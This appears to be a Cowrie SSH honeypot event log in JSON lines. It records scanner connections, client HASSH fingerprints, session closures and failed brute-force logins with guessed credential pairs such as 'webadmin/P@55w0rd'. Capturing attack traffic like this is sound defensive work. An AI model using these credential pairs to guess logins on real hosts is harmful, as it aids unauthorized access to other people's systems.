{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:34:31.290064Z","src_ip":"202.4.106.201","session":"66f820bea205","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user@12345","message":"login attempt [user/user@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:34:32.291539Z","src_ip":"202.4.106.201","session":"66f820bea205","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:34:33.546740Z","src_ip":"202.4.106.201","session":"66f820bea205","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37712,"dst_ip":"159.203.135.109","dst_port":22,"session":"251f9668e916","protocol":"ssh","message":"New connection: 159.203.92.129:37712 (159.203.135.109:22) [session: 251f9668e916]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:34:37.068656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:34:37.073540Z","src_ip":"159.203.92.129","session":"251f9668e916","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:34:37.077857Z","src_ip":"159.203.92.129","session":"251f9668e916","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asus","password":"123","message":"login attempt [asus/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:34:37.089662Z","src_ip":"159.203.92.129","session":"251f9668e916","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:34:38.095572Z","src_ip":"159.203.92.129","session":"251f9668e916","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":46590,"dst_ip":"159.203.135.109","dst_port":22,"session":"d523c88bafc6","protocol":"ssh","message":"New connection: 122.168.114.167:46590 (159.203.135.109:22) [session: d523c88bafc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:34:42.823429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:34:46.108059Z","src_ip":"122.168.114.167","session":"d523c88bafc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:34:46.111785Z","src_ip":"122.168.114.167","session":"d523c88bafc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"123456","message":"login attempt [elasticsearch/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:34:59.502648Z","src_ip":"122.168.114.167","session":"d523c88bafc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"22.1","message":"Connection lost after 22.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:35:04.963472Z","src_ip":"122.168.114.167","session":"d523c88bafc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":48996,"dst_ip":"159.203.135.109","dst_port":22,"session":"36ddd150e574","protocol":"ssh","message":"New connection: 122.168.114.167:48996 (159.203.135.109:22) [session: 36ddd150e574]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:35:20.510142Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.45.177","src_port":22276,"dst_ip":"159.203.135.109","dst_port":22,"session":"d32f2f8f2cec","protocol":"ssh","message":"New connection: 159.223.45.177:22276 (159.203.135.109:22) [session: d32f2f8f2cec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:35:20.761314Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.132","src_port":57720,"dst_ip":"159.203.135.109","dst_port":22,"session":"589cd9ea6319","protocol":"ssh","message":"New connection: 198.235.24.132:57720 (159.203.135.109:22) [session: 589cd9ea6319]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:35:21.699643Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42174,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d8ceb4360e8","protocol":"ssh","message":"New connection: 159.203.92.129:42174 (159.203.135.109:22) [session: 1d8ceb4360e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:35:22.105802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:35:22.111230Z","src_ip":"159.203.92.129","session":"1d8ceb4360e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:35:22.115967Z","src_ip":"159.203.92.129","session":"1d8ceb4360e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asus","password":"123456","message":"login attempt [asus/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:35:22.128112Z","src_ip":"159.203.92.129","session":"1d8ceb4360e8","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:35:23.030539Z","src_ip":"198.235.24.132","session":"589cd9ea6319","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:35:23.140980Z","src_ip":"159.203.92.129","session":"1d8ceb4360e8","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:35:23.933136Z","src_ip":"122.168.114.167","session":"36ddd150e574","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:35:23.954047Z","src_ip":"122.168.114.167","session":"36ddd150e574","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:35:24.039686Z","src_ip":"198.235.24.132","session":"589cd9ea6319","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.182.132.154","src_port":53972,"dst_ip":"159.203.135.109","dst_port":22,"session":"7820899c9202","protocol":"ssh","message":"New connection: 103.182.132.154:53972 (159.203.135.109:22) [session: 7820899c9202]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:35:27.746076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:35:27.751134Z","src_ip":"103.182.132.154","session":"7820899c9202","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:35:27.971034Z","src_ip":"103.182.132.154","session":"7820899c9202","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.9","message":"Connection lost after 7.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:35:28.618932Z","src_ip":"159.223.45.177","session":"d32f2f8f2cec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrador","password":"1234","message":"login attempt [administrador/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:35:28.856114Z","src_ip":"103.182.132.154","session":"7820899c9202","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:35:31.705114Z","src_ip":"198.235.24.132","session":"589cd9ea6319","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:35:31.920350Z","src_ip":"103.182.132.154","session":"7820899c9202","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.4.106.201","src_port":33628,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c5a4cd79f28","protocol":"ssh","message":"New connection: 202.4.106.201:33628 (159.203.135.109:22) [session: 5c5a4cd79f28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:35:40.434190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:35:40.438964Z","src_ip":"202.4.106.201","session":"5c5a4cd79f28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:35:40.708510Z","src_ip":"202.4.106.201","session":"5c5a4cd79f28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev123456","message":"login attempt [dev/dev123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:35:41.601852Z","src_ip":"122.168.114.167","session":"36ddd150e574","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webadmin","password":"P@55w0rd","message":"login attempt [webadmin/P@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:35:41.815377Z","src_ip":"202.4.106.201","session":"5c5a4cd79f28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:35:43.087470Z","src_ip":"202.4.106.201","session":"5c5a4cd79f28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"26.2","message":"Connection lost after 26.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:35:46.758252Z","src_ip":"122.168.114.167","session":"36ddd150e574","protocol":"ssh"}
